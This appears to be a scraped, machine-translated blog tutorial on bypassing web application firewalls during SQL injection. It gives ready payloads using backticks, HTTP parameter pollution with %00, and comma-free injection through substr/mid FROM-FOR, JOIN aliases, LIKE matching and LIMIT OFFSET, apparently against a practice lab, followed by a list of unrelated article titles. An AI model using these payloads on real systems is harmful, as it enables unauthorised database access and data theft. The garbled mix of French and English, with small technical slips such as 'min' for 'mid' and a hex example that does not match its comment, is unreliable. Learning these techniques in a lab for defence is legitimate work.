当前位置:网站首页>SQL injection Bypass (2)
SQL injection Bypass (2)
2022-06-28 02:21:00 【A τθ】
Un.、Contournement des guillemets inversés
In mysql Peut être utilisé `Voici les guillemets inverses` Contourner un peu waf Interception.Les champs peuvent être cités à l'envers ou non,Même sens.
insert into users(username,password,email)values('test','123456','[email protected]');
insert into users(`username`,`password`,`email`)values('test','123456','[email protected]');
\N'union distinct select 1,(select version() from `users` limit 1)--+&submit=1
2.、Les fonctions de langage de script contournent
1、Introduction
In php Dans la langue,id=1&id=2 Les valeurs suivantes écrasent automatiquement les valeurs précédentes,Différentes langues ont des caractéristiques différentes.Vous pouvez l'utiliser pour contourner certains waf Interception.
id=1%00&id=2 union select 1,2,3
Certains waf Va correspondre au premier id Paramètres1%00, %00 C'est un caractère tronqué,waf Sera automatiquement tronqué Pour ne pas détecter ce qui suit.Dans le programme.,id Est égal à id=2 union select 1,2,3 Interception par injection de contournement .
Autres caractéristiques linguistiques
2、Pratique.1
3、Pratique.2
?name=vince%00&name=' union select 1,database()--+&submit=1
Trois、 Contournement des virgules
Certains scripts anti - injection sont actuellement interceptés par des virgules , Par exemple, l'injection régulière doit contenir une virgule .
select * from users where id=1 union select 1,2,3,4;
Les virgules sont généralement filtrées en blanc ,select * from users where id=1 union select 1 2 3 4;Voilà.SQL L'instruction va mal tourner .Alors..., Peut être fait sans virgule SQL Injection.
Les méthodes de contournement sont les suivantes :
1、La première façon:substr Tronquer une chaîne
Interroger le premier caractère de la Bibliothèque actuelle :
select(substr(database() from 1 for 1));
Requête p égal à select(substr(database() from 1 for 1)),Retour à la normale.
select * from users where id=1 and 'p'=(select(substr(database() from 1 for 1)));
Peut être optimisé davantage m Remplacer par hex 0x6D, Cela évite les guillemets simples .
select * from users where id=1 and 0x70=(select(substr(database() from 1 for 1)));
?name=vince' and (select(substr(database() from 1 for 1)))='p'--+&submit=1 ?name=vince' and (select(substr(database() from 1 for 1)))='x'--+&submit=1
2、La deuxième façon:mid Tronquer une chaîne
C'est min La fonction suit substr La fonction fonctionne de la même façon,Si substr Cette fonction peut être utilisée au lieu de .
select (mid(database() from 1 for 1));
select * from users where id=1 and 'p'=(select(mid(database() from 1 for 1)));
select * from users where id=1 and 0x70=(select(mid(database() from 1 for 1)));
3、La troisième façon: Utiliser join Contournement
Utiliser join Auto - connexion de deux tables :
union select 1,2 #Équivalent à union select * from (select 1)a join (select 2)b,Parmi euxa Et b Alias de la table.
select * from users where id=-1 union select 1,2,3,4;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c join(select 4)d;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select user())c join(select 4)d;
Il n'y a pas de virgule ici non plus ,Pour contourner waf Interception des virgules .
4、La quatrième voie:like Contournement
Utiliser like Requête floue select user() like '%r%'; Requête floue retournée avec succès 1,Sinon, retournez à 0
Après avoir trouvé le premier caractère, passez à la correspondance suivante.Pour trouver toutes les chaînes,Enfin, le contenu à interroger,Ce genre de SQL Il n'y aura pas non plus de virgule dans l'instruction d'injection.Pour contourner waf Interception.
5、La Cinquième façon:limit offset Contournement
SQL Au moment de l'injection,Si vous avez besoin d'une entrée qualifiée, vous pouvez utiliser limit 0,1 Limiter le nombre d'entrées retournées ,limit 0,1 Retour à un enregistrement .Si vous interceptez une virgule,Peut être utilisé limit 1 La valeur par défaut renvoie les premières données.Peut également être utilisé limit 1 offset 0 Retour au premier enregistrement à partir de zéro,Ça contourne. waf Interception.
边栏推荐
- Evaluation - grey correlation analysis
- Adobe Premiere Basics - common video effects (corner positioning, mosaic, blur, sharpen, handwriting tools, effect control hierarchy) (16)
- 嵌入式必学,硬件资源接口详解——基于ARM AM335X开发板 (上)
- Adobe Premiere Basics - common video effects (cropping, black and white, clip speed, mirroring, lens halo) (XV)
- frp实现内网穿透
- Learn pickle
- [embedded foundation] serial port communication
- 面试官问:能否模拟实现JS的new操作符
- 树莓派实现温控风扇智能降温
- Cesium obtains the latitude and longitude range of the screen
猜你喜欢
Lmsoc: a socially sensitive pre training method
Class initialization and callback usage
Intranet penetration with FRP
Adobe Premiere基础-常用的视频特效(裁剪,黑白,剪辑速度,镜像,镜头光晕)(十五)
面试官问:能否模拟实现JS的new操作符
Raspberry pie realizes intelligent cooling by temperature control fan
评价——灰色关联分析
Adobe Premiere Basics - common video effects (corner positioning, mosaic, blur, sharpen, handwriting tools, effect control hierarchy) (16)
Shardingsphere-proxy-5.0.0 establish MySQL read / write separation connection (6)
Jenkins - 访问 Jenkins 自定义参数变量,处理变量值中含有空格
随机推荐
[Yocto RM] 2 - Yocto Project Terms
766. toplitz matrix
嵌入式必学!硬件资源接口详解——基于ARM AM335X开发板 (下)
OS模块与OS.path 模块的学习
The interviewer asked: this point of JS
Jenkins - Pipeline 概念及创建方式
Cesium 抗锯齿(线,边框等)
Google Earth engine (GEE) -- an error caused by the imagecollection (error) traversing the image collection
Jenkins - Groovy Postbuild 插件丰富 Build History 信息
General process after reference layer reboot
一张图弄懂 MIT,BSD,Apache几种开源协议之间的区别
【牛客讨论区】第四章:Redis
Cesium Click to obtain longitude and latitude (2D coordinates)
JS array random value (random array value)
Jenkins - 内置变量访问
[Yocto RM] 2 - Yocto Project Terms
Original | 2025 to achieve the "five ones" goal! The four products of Jiefang power are officially released
Implementation of timed tasks in laravel framework
[embedded foundation] memory (cache, ram, ROM, flash)
Appium自动化测试基础 — ADB常用命令(一)